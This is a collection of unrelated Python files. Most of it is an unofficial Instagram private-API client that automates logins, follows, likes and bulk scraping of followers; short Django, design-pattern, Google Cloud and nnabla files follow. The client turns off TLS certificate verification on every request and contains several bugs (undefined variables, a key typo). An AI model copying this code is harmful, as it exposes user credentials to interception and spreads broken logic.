search_surface_universe,ig_android_user_detail_endpoint,ig_android_location_media_count_exp_ig,ig_android_comment_tweaks_universe,ig_android_ad_watchmore_entry_point_universe,ig_android_top_live_notification_universe,ig_android_add_to_last_post,ig_save_insights,ig_android_live_enhanced_end_screen_universe,ig_android_ad_add_counter_to_logging_event,ig_android_blue_token_conversion_universe,ig_android_exoplayer_settings,ig_android_progressive_jpeg,ig_android_offline_story_stickers,ig_android_gqls_typing_indicator,ig_android_chaining_button_tooltip,ig_android_video_prefetch_for_connectivity_type,ig_android_use_exo_cache_for_progressive,ig_android_samsung_app_badging,ig_android_ad_holdout_watchandmore_universe,ig_android_offline_commenting,ig_direct_stories_recipient_picker_button,ig_insights_feedback_channel_universe,ig_android_insta_video_abr_resize,ig_android_insta_video_sound_always_on''' SIG_KEY_VERSION = '4' # username # Instagram username # password # Instagram password # debug # Debug # uuid # UUID # device_id # Device ID # username_id # Username ID # token # _csrftoken # isLoggedIn # Session status # rank_token # Rank token # IGDataPath # Data storage path def __init__(self, username, password, debug=False, IGDataPath=None): m = hashlib.md5() m.update(username.encode('utf-8') + password.encode('utf-8')) self.device_id = self.generateDeviceId(m.hexdigest()) self.setUser(username, password) self.isLoggedIn = False self.LastResponse = None self.s = requests.Session() def setUser(self, username, password): self.username = username self.password = password self.uuid = self.generateUUID(True) def setProxy(self, proxy=None): """ Set proxy for all requests:: Proxy format - user:password@ip:port """ if proxy is not None: print('Set proxy!') proxies = {'http': 'http://' + proxy, 'https': 'http://' + proxy} self.s.proxies.update(proxies) def login(self, force=False): if (not self.isLoggedIn or force): if (self.SendRequest('si/fetch_headers/?challenge_type=signup&guid=' + self.generateUUID(False), None, True)): data = {'phone_id': self.generateUUID(True), '_csrftoken': self.LastResponse.cookies['csrftoken'], 'username': self.username, 'guid': self.uuid, 'device_id': self.device_id, 'password': self.password, 'login_attempt_count': '0'} if (self.SendRequest('accounts/login/', self.generateSignature(json.dumps(data)), True)): self.isLoggedIn = True self.username_id = self.LastJson["logged_in_user"]["pk"] self.rank_token = "%s_%s" % (self.username_id, self.uuid) self.token = self.LastResponse.cookies["csrftoken"] self.syncFeatures() self.autoCompleteUserList() self.timelineFeed() self.getv2Inbox() self.getRecentActivity() print("Login success!\n") return True def syncFeatures(self): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'id': self.username_id, '_csrftoken': self.token, 'experiments': self.EXPERIMENTS}) return self.SendRequest('qe/sync/', self.generateSignature(data)) def autoCompleteUserList(self): return self.SendRequest('friendships/autocomplete_user_list/') def timelineFeed(self): return self.SendRequest('feed/timeline/') def megaphoneLog(self): return self.SendRequest('megaphone/log/') def expose(self): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'id': self.username_id, '_csrftoken': self.token, 'experiment': 'ig_android_profile_contextual_feed'}) return self.SendRequest('qe/expose/', self.generateSignature(data)) def logout(self): logout = self.SendRequest('accounts/logout/') def uploadPhoto(self, photo, caption=None, upload_id=None, is_sidecar=None): if upload_id is None: upload_id = str(int(time.time() * 1000)) data = {'upload_id': upload_id, '_uuid': self.uuid, '_csrftoken': self.token, 'image_compression': '{"lib_name":"jt","lib_version":"1.3.0","quality":"87"}', 'photo': ('pending_media_%s.jpg' % upload_id, open(photo, 'rb'), 'application/octet-stream', {'Content-Transfer-Encoding': 'binary'})} if is_sidecar: data['is_sidecar'] = '1' m = MultipartEncoder(data, boundary=self.uuid) self.s.headers.update({'X-IG-Capabilities': '3Q4=', 'X-IG-Connection-Type': 'WIFI', 'Cookie2': '$Version=1', 'Accept-Language': 'en-US', 'Accept-Encoding': 'gzip, deflate', 'Content-type': m.content_type, 'Connection': 'close', 'User-Agent': self.USER_AGENT}) response = self.s.post(self.API_URL + "upload/photo/", data=m.to_string()) print(response) if response.status_code == 200: if self.configure(upload_id, photo, caption): self.expose() return False def uploadVideo(self, video, thumbnail, caption=None, upload_id=None, is_sidecar=None): if upload_id is None: upload_id = str(int(time.time() * 1000)) data = {'upload_id': upload_id, '_csrftoken': self.token, 'media_type': '2', '_uuid': self.uuid} if is_sidecar: data['is_sidecar'] = '1' m = MultipartEncoder(data, boundary=self.uuid) self.s.headers.update({'X-IG-Capabilities': '3Q4=', 'X-IG-Connection-Type': 'WIFI', 'Host': 'i.instagram.com', 'Cookie2': '$Version=1', 'Accept-Language': 'en-US', 'Accept-Encoding': 'gzip, deflate', 'Content-type': m.content_type, 'Connection': 'keep-alive', 'User-Agent': self.USER_AGENT}) response = self.s.post(self.API_URL + "upload/video/", data=m.to_string()) if response.status_code == 200: body = json.loads(response.text) upload_url = body['video_upload_urls'][3]['url'] upload_job = body['video_upload_urls'][3]['job'] videoData = open(video, 'rb').read() # solve issue #85 TypeError: slice indices must be integers or None or have an __index__ method request_size = int(math.floor(len(videoData) / 4)) lastRequestExtra = (len(videoData) - (request_size * 3)) headers = copy.deepcopy(self.s.headers) self.s.headers.update({'X-IG-Capabilities': '3Q4=', 'X-IG-Connection-Type': 'WIFI', 'Cookie2': '$Version=1', 'Accept-Language': 'en-US', 'Accept-Encoding': 'gzip, deflate', 'Content-type': 'application/octet-stream', 'Session-ID': upload_id, 'Connection': 'keep-alive', 'Content-Disposition': 'attachment; filename="video.mov"', 'job': upload_job, 'Host': 'upload.instagram.com', 'User-Agent': self.USER_AGENT}) for i in range(0, 4): start = i * request_size if i == 3: end = i * request_size + lastRequestExtra else: end = (i + 1) * request_size length = lastRequestExtra if i == 3 else request_size content_range = "bytes {start}-{end}/{lenVideo}".format(start=start, end=(end - 1), lenVideo=len(videoData)).encode('utf-8') self.s.headers.update({'Content-Length': str(end - start), 'Content-Range': content_range, }) response = self.s.post(upload_url, data=videoData[start:start + length]) self.s.headers = headers if response.status_code == 200: if self.configureVideo(upload_id, video, thumbnail, caption): self.expose() return False def uploadAlbum(self, media, caption=None, upload_id=None): if not media: raise Exception("List of media to upload can't be empty.") if len(media) < 2 or len(media) > 10: raise Exception('Instagram requires that albums contain 2-10 items. You tried to submit {}.'.format(len(media))) # Figure out the media file details for ALL media in the album. # NOTE: We do this first, since it validates whether the media files are # valid and lets us avoid wasting time uploading totally invalid albums! for idx, item in enumerate(media): if not item.get('file', '') or item.get('tipe', ''): raise Exception('Media at index "{}" does not have the required "file" and "type" keys.'.format(idx)) # $itemInternalMetadata = new InternalMetadata(); # If usertags are provided, verify that the entries are valid. if item.get('usertags', []): self.throwIfInvalidUsertags(item['usertags']) # Pre-process media details and throw if not allowed on Instagram. if item.get('type', '') == 'photo': # Determine the photo details. # $itemInternalMetadata->setPhotoDetails(Constants::FEED_TIMELINE_ALBUM, $item['file']); pass elif item.get('type', '') == 'video': # Determine the video details. # $itemInternalMetadata->setVideoDetails(Constants::FEED_TIMELINE_ALBUM, $item['file']); pass else: raise Exception('Unsupported album media type "{}".'.format(item['type'])) itemInternalMetadata = {} item['internalMetadata'] = itemInternalMetadata # Perform all media file uploads. for idx, item in enumerate(media): itemInternalMetadata = item['internalMetadata'] item_upload_id = self.generateUploadId() if item.get('type', '') == 'photo': self.uploadPhoto(item['file'], caption=caption, is_sidecar=True, upload_id=item_upload_id) # $itemInternalMetadata->setPhotoUploadResponse($this->ig->internal->uploadPhotoData(Constants::FEED_TIMELINE_ALBUM, $itemInternalMetadata)); elif item.get('type', '') == 'video': # Attempt to upload the video data. self.uploadVideo(item['file'], item['thumbnail'], caption=caption, is_sidecar=True, upload_id=item_upload_id) # $itemInternalMetadata = $this->ig->internal->uploadVideo(Constants::FEED_TIMELINE_ALBUM, $item['file'], $itemInternalMetadata); # Attempt to upload the thumbnail, associated with our video's ID. # $itemInternalMetadata->setPhotoUploadResponse($this->ig->internal->uploadPhotoData(Constants::FEED_TIMELINE_ALBUM, $itemInternalMetadata)); pass item['internalMetadata']['upload_id'] = item_upload_id albumInternalMetadata = {} return self.configureTimelineAlbum(media, albumInternalMetadata, captionText=caption) def throwIfInvalidUsertags(self, usertags): for user_position in usertags: # Verify this usertag entry, ensuring that the entry is format # ['position'=>[0.0,1.0],'user_id'=>'123'] and nothing else. correct = True if isinstance(user_position, dict): position = user_position.get('position', None) user_id = user_position.get('user_id', None) if isinstance(position, list) and len(position) == 2: try: x = float(position[0]) y = float(position[1]) if x < 0.0 or x > 1.0: correct = False if y < 0.0 or y > 1.0: correct = False except: correct = False try: user_id = long(user_id) if user_id < 0: correct = False except: correct = False if not correct: raise Exception('Invalid user entry in usertags array.') def configureTimelineAlbum(self, media, albumInternalMetadata, captionText='', location=None): endpoint = 'media/configure_sidecar/' albumUploadId = self.generateUploadId() date = datetime.utcnow().isoformat() childrenMetadata = [] for item in media: itemInternalMetadata = item['internalMetadata'] uploadId = itemInternalMetadata.get('upload_id', self.generateUploadId()) if item.get('type', '') == 'photo': # Build this item's configuration. photoConfig = {'date_time_original': date, 'scene_type': 1, 'disable_comments': False, 'upload_id': uploadId, 'source_type': 0, 'scene_capture_type': 'standard', 'date_time_digitized': date, 'geotag_enabled': False, 'camera_position': 'back', 'edits': {'filter_strength': 1, 'filter_name': 'IGNormalFilter'} } # This usertag per-file EXTERNAL metadata is only supported for PHOTOS! if item.get('usertags', []): # NOTE: These usertags were validated in Timeline::uploadAlbum. photoConfig['usertags'] = json.dumps({'in': item['usertags']}) childrenMetadata.append(photoConfig) if item.get('type', '') == 'video': # Get all of the INTERNAL per-VIDEO metadata. videoDetails = itemInternalMetadata.get('video_details', {}) # Build this item's configuration. videoConfig = {'length': videoDetails.get('duration', 1.0), 'date_time_original': date, 'scene_type': 1, 'poster_frame_index': 0, 'trim_type': 0, 'disable_comments': False, 'upload_id': uploadId, 'source_type': 'library', 'geotag_enabled': False, 'edits': { 'length': videoDetails.get('duration', 1.0), 'cinema': 'unsupported', 'original_length': videoDetails.get('duration', 1.0), 'source_type': 'library', 'start_time': 0, 'camera_position': 'unknown', 'trim_type': 0} } childrenMetadata.append(videoConfig) # Build the request... data = {'_csrftoken': self.token, '_uid': self.username_id, '_uuid': self.uuid, 'client_sidecar_id': albumUploadId, 'caption': captionText, 'children_metadata': childrenMetadata} self.SendRequest(endpoint, self.generateSignature(json.dumps(data))) response = self.LastResponse if response.status_code == 200: self.LastResponse = response self.LastJson = json.loads(response.text) return True else: print("Request return " + str(response.status_code) + " error!") # for debugging try: self.LastResponse = response self.LastJson = json.loads(response.text) except: pass return False def direct_share(self, media_id, recipients, text=None): if not isinstance(position, list): recipients = [str(recipients)] recipient_users = '"",""'.join(str(r) for r in recipients) endpoint = 'direct_v2/threads/broadcast/media_share/?media_type=photo' boundary = self.uuid bodies = [ { 'type': 'form-data', 'name': 'media_id', 'data': media_id, }, { 'type': 'form-data', 'name': 'recipient_users', 'data': '[["{}"]]'.format(recipient_users), }, { 'type': 'form-data', 'name': 'client_context', 'data': self.uuid, }, { 'type': 'form-data', 'name': 'thread', 'data': '["0"]', }, { 'type': 'form-data', 'name': 'text', 'data': text or '', }, ] data = self.buildBody(bodies, boundary) self.s.headers.update({'User-Agent': self.USER_AGENT, 'Proxy-Connection': 'keep-alive', 'Connection': 'keep-alive', 'Accept': '*/*', 'Content-Type': 'multipart/form-data; boundary={}'.format(boundary), 'Accept-Language': 'en-en'}) # self.SendRequest(endpoint,post=data) #overwrites 'Content-type' header and boundary is missed response = self.s.post(self.API_URL + endpoint, data=data) if response.status_code == 200: self.LastResponse = response self.LastJson = json.loads(response.text) return True else: print("Request return " + str(response.status_code) + " error!") # for debugging try: self.LastResponse = response self.LastJson = json.loads(response.text) except: pass return False def configureVideo(self, upload_id, video, thumbnail, caption=''): clip = VideoFileClip(video) self.uploadPhoto(photo=thumbnail, caption=caption, upload_id=upload_id) data = json.dumps({ 'upload_id': upload_id, 'source_type': 3, 'poster_frame_index': 0, 'length': 0.00, 'audio_muted': False, 'filter_type': 0, 'video_result': 'deprecated', 'clips': { 'length': clip.duration, 'source_type': '3', 'camera_position': 'back', }, 'extra': { 'source_width': clip.size[0], 'source_height': clip.size[1], }, 'device': self.DEVICE_SETTINTS, '_csrftoken': self.token, '_uuid': self.uuid, '_uid': self.username_id, 'caption': caption, }) return self.SendRequest('media/configure/?video=1', self.generateSignature(data)) def configure(self, upload_id, photo, caption=''): (w, h) = getImageSize(photo) data = json.dumps({'_csrftoken': self.token, 'media_folder': 'Instagram', 'source_type': 4, '_uid': self.username_id, '_uuid': self.uuid, 'caption': caption, 'upload_id': upload_id, 'device': self.DEVICE_SETTINTS, 'edits': { 'crop_original_size': [w * 1.0, h * 1.0], 'crop_center': [0.0, 0.0], 'crop_zoom': 1.0 }, 'extra': { 'source_width': w, 'source_height': h }}) return self.SendRequest('media/configure/?', self.generateSignature(data)) def editMedia(self, mediaId, captionText=''): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'caption_text': captionText}) return self.SendRequest('media/' + str(mediaId) + '/edit_media/', self.generateSignature(data)) def removeSelftag(self, mediaId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token}) return self.SendRequest('media/' + str(mediaId) + '/remove/', self.generateSignature(data)) def mediaInfo(self, mediaId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'media_id': mediaId}) return self.SendRequest('media/' + str(mediaId) + '/info/', self.generateSignature(data)) def deleteMedia(self, mediaId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'media_id': mediaId}) return self.SendRequest('media/' + str(mediaId) + '/delete/', self.generateSignature(data)) def changePassword(self, newPassword): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'old_password': self.password, 'new_password1': newPassword, 'new_password2': newPassword}) return self.SendRequest('accounts/change_password/', self.generateSignature(data)) def explore(self): return self.SendRequest('discover/explore/') def comment(self, mediaId, commentText): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'comment_text': commentText}) return self.SendRequest('media/' + str(mediaId) + '/comment/', self.generateSignature(data)) def deleteComment(self, mediaId, commentId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token}) return self.SendRequest('media/' + str(mediaId) + '/comment/' + str(commentId) + '/delete/', self.generateSignature(data)) def changeProfilePicture(self, photo): # TODO Instagram.php 705-775 return False def removeProfilePicture(self): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token}) return self.SendRequest('accounts/remove_profile_picture/', self.generateSignature(data)) def setPrivateAccount(self): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token}) return self.SendRequest('accounts/set_private/', self.generateSignature(data)) def setPublicAccount(self): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token}) return self.SendRequest('accounts/set_public/', self.generateSignature(data)) def getProfileData(self): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token}) return self.SendRequest('accounts/current_user/?edit=true', self.generateSignature(data)) def editProfile(self, url, phone, first_name, biography, email, gender): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'external_url': url, 'phone_number': phone, 'username': self.username, 'full_name': first_name, 'biography': biography, 'email': email, 'gender': gender}) return self.SendRequest('accounts/edit_profile/', self.generateSignature(data)) def getUsernameInfo(self, usernameId): return self.SendRequest('users/' + str(usernameId) + '/info/') def getSelfUsernameInfo(self): return self.getUsernameInfo(self.username_id) def getSelfSavedMedia(self): return self.SendRequest('feed/saved') def getRecentActivity(self): activity = self.SendRequest('news/inbox/?') return activity def getFollowingRecentActivity(self): activity = self.SendRequest('news/?') return activity def getv2Inbox(self): inbox = self.SendRequest('direct_v2/inbox/?') return inbox def getv2Threads(self, thread, cursor=None): endpoint = 'direct_v2/threads/{0}'.format(thread) if cursor is not None: endpoint += '?cursor={0}'.format(cursor) inbox = self.SendRequest(endpoint) return inbox def getUserTags(self, usernameId): tags = self.SendRequest('usertags/' + str(usernameId) + '/feed/?rank_token=' + str(self.rank_token) + '&ranked_content=true&') return tags def getSelfUserTags(self): return self.getUserTags(self.username_id) def tagFeed(self, tag): userFeed = self.SendRequest('feed/tag/' + str(tag) + '/?rank_token=' + str(self.rank_token) + '&ranked_content=true&') return userFeed def getMediaLikers(self, mediaId): likers = self.SendRequest('media/' + str(mediaId) + '/likers/?') return likers def getGeoMedia(self, usernameId): locations = self.SendRequest('maps/user/' + str(usernameId) + '/') return locations def getSelfGeoMedia(self): return self.getGeoMedia(self.username_id) def fbUserSearch(self, query): query = self.SendRequest('fbsearch/topsearch/?context=blended&query=' + str(query) + '&rank_token=' + str(self.rank_token)) return query def searchUsers(self, query): query = self.SendRequest('users/search/?ig_sig_key_version=' + str(self.SIG_KEY_VERSION) + '&is_typeahead=true&query=' + str(query) + '&rank_token=' + str(self.rank_token)) return query def searchUsername(self, usernameName): query = self.SendRequest('users/' + str(usernameName) + '/usernameinfo/') return query def syncFromAdressBook(self, contacts): return self.SendRequest('address_book/link/?include=extra_display_name,thumbnails', "contacts=" + json.dumps(contacts)) def searchTags(self, query): query = self.SendRequest('tags/search/?is_typeahead=true&q=' + str(query) + '&rank_token=' + str(self.rank_token)) return query def getTimeline(self): query = self.SendRequest('feed/timeline/?rank_token=' + str(self.rank_token) + '&ranked_content=true&') return query def getUserFeed(self, usernameId, maxid='', minTimestamp=None): query = self.SendRequest('feed/user/%s/?max_id=%s&min_timestamp=%s&rank_token=%s&ranked_content=true' % (usernameId, maxid, minTimestamp, self.rank_token)) return query def getSelfUserFeed(self, maxid='', minTimestamp=None): return self.getUserFeed(self.username_id, maxid, minTimestamp) def getHashtagFeed(self, hashtagString, maxid=''): return self.SendRequest('feed/tag/' + hashtagString + '/?max_id=' + str(maxid) + '&rank_token=' + self.rank_token + '&ranked_content=true&') def searchLocation(self, query): locationFeed = self.SendRequest('fbsearch/places/?rank_token=' + str(self.rank_token) + '&query=' + str(query)) return locationFeed def getLocationFeed(self, locationId, maxid=''): return self.SendRequest('feed/location/' + str(locationId) + '/?max_id=' + maxid + '&rank_token=' + self.rank_token + '&ranked_content=true&') def getPopularFeed(self): popularFeed = self.SendRequest('feed/popular/?people_teaser_supported=1&rank_token=' + str(self.rank_token) + '&ranked_content=true&') return popularFeed def getUserFollowings(self, usernameId, maxid=''): url = 'friendships/' + str(usernameId) + '/following/?' query_string = {'ig_sig_key_version': self.SIG_KEY_VERSION, 'rank_token': self.rank_token} if maxid: query_string['max_id'] = maxid if sys.version_info.major == 3: url += urllib.parse.urlencode(query_string) else: url += urllib.urlencode(query_string) return self.SendRequest(url) def getSelfUsersFollowing(self): return self.getUserFollowings(self.username_id) def getUserFollowers(self, usernameId, maxid=''): if maxid == '': return self.SendRequest('friendships/' + str(usernameId) + '/followers/?rank_token=' + self.rank_token) else: return self.SendRequest('friendships/' + str(usernameId) + '/followers/?rank_token=' + self.rank_token + '&max_id=' + str(maxid)) def getSelfUserFollowers(self): return self.getUserFollowers(self.username_id) def like(self, mediaId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'media_id': mediaId}) return self.SendRequest('media/' + str(mediaId) + '/like/', self.generateSignature(data)) def unlike(self, mediaId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, '_csrftoken': self.token, 'media_id': mediaId}) return self.SendRequest('media/' + str(mediaId) + '/unlike/', self.generateSignature(data)) def getMediaComments(self, mediaId, max_id=''): return self.SendRequest('media/' + mediaId + '/comments/?max_id=' + max_id) def setNameAndPhone(self, name='', phone=''): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'first_name': name, 'phone_number': phone, '_csrftoken': self.token}) return self.SendRequest('accounts/set_phone_and_name/', self.generateSignature(data)) def getDirectShare(self): return self.SendRequest('direct_share/inbox/?') def backup(self): # TODO Instagram.php 1470-1485 return False def follow(self, userId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'user_id': userId, '_csrftoken': self.token}) return self.SendRequest('friendships/create/' + str(userId) + '/', self.generateSignature(data)) def unfollow(self, userId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'user_id': userId, '_csrftoken': self.token}) return self.SendRequest('friendships/destroy/' + str(userId) + '/', self.generateSignature(data)) def block(self, userId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'user_id': userId, '_csrftoken': self.token}) return self.SendRequest('friendships/block/' + str(userId) + '/', self.generateSignature(data)) def unblock(self, userId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'user_id': userId, '_csrftoken': self.token}) return self.SendRequest('friendships/unblock/' + str(userId) + '/', self.generateSignature(data)) def userFriendship(self, userId): data = json.dumps({'_uuid': self.uuid, '_uid': self.username_id, 'user_id': userId, '_csrftoken': self.token}) return self.SendRequest('friendships/show/' + str(userId) + '/', self.generateSignature(data)) def getLikedMedia(self, maxid=''): return self.SendRequest('feed/liked/?max_id=' + str(maxid)) def generateSignature(self, data, skip_quote=False): if not skip_quote: try: parsedData = urllib.parse.quote(data) except AttributeError: parsedData = urllib.quote(data) else: parsedData = data return 'ig_sig_key_version=' + self.SIG_KEY_VERSION + '&signed_body=' + hmac.new(self.IG_SIG_KEY.encode('utf-8'), data.encode('utf-8'), hashlib.sha256).hexdigest() + '.' + parsedData def generateDeviceId(self, seed): volatile_seed = "12345" m = hashlib.md5() m.update(seed.encode('utf-8') + volatile_seed.encode('utf-8')) return 'android-' + m.hexdigest()[:16] def generateUUID(self, type): generated_uuid = str(uuid.uuid4()) if (type): return generated_uuid else: return generated_uuid.replace('-', '') def generateUploadId(self): return str(calendar.timegm(datetime.utcnow().utctimetuple())) def buildBody(self, bodies, boundary): body = u'' for b in bodies: body += u'--{boundary}\r\n'.format(boundary=boundary) body += u'Content-Disposition: {b_type}; name="{b_name}"'.format(b_type=b['type'], b_name=b['name']) _filename = b.get('filename', None) _headers = b.get('headers', None) if _filename: _filename, ext = os.path.splitext(_filename) _body += u'; filename="pending_media_{uid}.{ext}"'.format(uid=self.generateUploadId(), ext=ext) if _headers and isinstance(_headers, list): for h in _headers: _body += u'\r\n{header}'.format(header=h) body += u'\r\n\r\n{data}\r\n'.format(data=b['data']) body += u'--{boundary}--'.format(boundary=boundary) return body def SendRequest(self, endpoint, post=None, login=False): verify = False # don't show request warning if (not self.isLoggedIn and not login): raise Exception("Not logged in!\n") self.s.headers.update({'Connection': 'close', 'Accept': '*/*', 'Content-type': 'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie2': '$Version=1', 'Accept-Language': 'en-US', 'User-Agent': self.USER_AGENT}) while True: try: if (post is not None): response = self.s.post(self.API_URL + endpoint, data=post, verify=verify) else: response = self.s.get(self.API_URL + endpoint, verify=verify) break except Exception as e: print('Except on SendRequest (wait 60 sec and resend): ' + str(e)) time.sleep(60) if response.status_code == 200: self.LastResponse = response self.LastJson = json.loads(response.text) return True else: print("Request return " + str(response.status_code) + " error!") # for debugging try: self.LastResponse = response self.LastJson = json.loads(response.text) print(self.LastJson) except: pass return False def getTotalFollowers(self, usernameId): followers = [] next_max_id = '' while 1: self.getUserFollowers(usernameId, next_max_id) temp = self.LastJson for item in temp["users"]: followers.append(item) if temp["big_list"] is False: return followers next_max_id = temp["next_max_id"] def getTotalFollowings(self, usernameId): followers = [] next_max_id = '' while True: self.getUserFollowings(usernameId, next_max_id) temp = self.LastJson for item in temp["users"]: followers.append(item) if temp["big_list"] is False: return followers next_max_id = temp["next_max_id"] def getTotalUserFeed(self, usernameId, minTimestamp=None): user_feed = [] next_max_id = '' while True: self.getUserFeed(usernameId, next_max_id, minTimestamp) temp = self.LastJson for item in temp["items"]: user_feed.append(item) if temp["more_available"] is False: return user_feed next_max_id = temp["next_max_id"] def getTotalSelfUserFeed(self, minTimestamp=None): return self.getTotalUserFeed(self.username_id, minTimestamp) def getTotalSelfFollowers(self): return self.getTotalFollowers(self.username_id) def getTotalSelfFollowings(self): return self.getTotalFollowings(self.username_id) def getTotalLikedMedia(self, scan_rate=1): next_id = '' liked_items = [] for x in range(0, scan_rate): temp = self.getLikedMedia(next_id) temp = self.LastJson try: next_id = temp["next_max_id"] for item in temp["items"]: liked_items.append(item) except KeyError as e: break return liked_items

[ "furkan.aalperen@gmail.com" ]

furkan.aalperen@gmail.com

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/main/apps/companies/management/commands/seed_consultants.py

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truhlik/directit

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import os import json from django.core.management.base import BaseCommand from django.conf import settings from django.db import transaction from main.apps.categories.models import Category from main.apps.companies.models import Company from main.apps.companies import constants from main.apps.tags.models import Tag class Command(BaseCommand): help = 'Seed Consultants' # konvertováno pomocí http://beautifytools.com/excel-to-json-converter.php def handle(self, *args, **options): path = os.path.join(settings.BASE_DIR, 'seeds', 'consultants2.json') with open(path, mode='r') as f: data = json.load(f) with transaction.atomic(): self.process_data(data) def process_data(self, data, parent=None): for konzultant_dct in data['Konzultanti']: self._create_consultant(konzultant_dct) def _create_consultant(self, data): if Company.objects.filter(name=data.get('Jmeno', '') + ' ' + data.get('Prijmeni', '')).exists(): return c = Company( role=constants.COMPANY_ROLE_CONSULTANT, name=data.get('Jmeno', '') + ' ' + data.get('Prijmeni', ''), description=data.get('Specifikace', None), email=data.get('Email', None), phone=data.get('Telefon', None), city=data.get('Město', None), ) c.save() self.add_tags(c, data.get('Tagy - Technologie', '').split(',')) self.add_tags(c, data.get('Tagy - Kompetence', '').split(',')) def add_tags(self, consultant, data): tags = [] for tag in data: t, created = Tag.objects.get_or_create(name=tag.strip()) if t is not None: tags.append(t) else: print(tag) consultant.tags.add(*tags) def add_categories(self, consultant, data): tags = [] for category in data: t = Category.objects.filter(name=category.strip()).first() if t is not None: tags.append(t) consultant.categories.add(*tags)

[ "lubos@endevel.cz" ]

lubos@endevel.cz

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/comportamentais/templateMethod/musica/musica/ordenadores/por_nome.py

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reginaldosantarosa/DesignPatterns

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from musica.ordenador import Ordenador class PorNome(Ordenador): """ Ordena as músicas por nome. """ def vem_antes(self, musica1, musica2): """ Verifica se o nome da musica1 vem antes do nome da musica2 ou se os nomes são iguais """ if (musica1.nome >= musica2.nome): return True return False

[ "victorhad@gmail.com" ]

victorhad@gmail.com

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permissive

googleapis/google-cloud-python

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# -*- coding: utf-8 -*- # Copyright 2023 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Generated code. DO NOT EDIT! # # Snippet for ListLakeActions # NOTE: This snippet has been automatically generated for illustrative purposes only. # It may require modifications to work in your environment. # To install the latest published package dependency, execute the following: # python3 -m pip install google-cloud-dataplex # [START dataplex_v1_generated_DataplexService_ListLakeActions_async] # This snippet has been automatically generated and should be regarded as a # code template only. # It will require modifications to work: # - It may require correct/in-range values for request initialization. # - It may require specifying regional endpoints when creating the service # client as shown in: # https://googleapis.dev/python/google-api-core/latest/client_options.html from google.cloud import dataplex_v1 async def sample_list_lake_actions(): # Create a client client = dataplex_v1.DataplexServiceAsyncClient() # Initialize request argument(s) request = dataplex_v1.ListLakeActionsRequest( parent="parent_value", ) # Make the request page_result = client.list_lake_actions(request=request) # Handle the response async for response in page_result: print(response) # [END dataplex_v1_generated_DataplexService_ListLakeActions_async]

[ "noreply@github.com" ]

googleapis.noreply@github.com

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/python/test/utils/test_graph_converters/test_batch_normalization_self_folding.py

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permissive

CrimsonTuna/nnabla

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# Copyright (c) 2020 Sony Corporation. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import import pytest import numpy as np import nnabla as nn import nnabla.experimental.graph_converters as GC from .ref_graphs.resnets import small_cf_resnet, small_bn_self_folding_resnet batch_size = 1 resnet_ref = small_bn_self_folding_resnet @pytest.mark.parametrize('seed', [313]) @pytest.mark.parametrize('test', [True]) @pytest.mark.parametrize('graph_ref, graph_act', [(resnet_ref, small_cf_resnet)]) def test_batch_normalization_self_folding(seed, test, graph_ref, graph_act): from .graph_converter_test_utils import structure_tester, value_tester # Random number np.random.seed(seed) rng = np.random.RandomState(seed) # Graph x_data = rng.randn(batch_size, 3, 32, 32) x = nn.Variable.from_numpy_array(x_data) y_tgt = graph_act(x, test=test) # FunctionModifier modifiers = [] modifiers.append(GC.BatchNormalizationSelfFoldingModifier()) y_act = GC.GraphConverter(modifiers).convert(y_tgt) # Ref Graph y_ref = graph_ref(x, name='bn-self-folding-graph-ref') # Test structure_tester(y_ref, y_act) value_tester(y_tgt, y_act, rtol=6e-02, atol=5e-02)

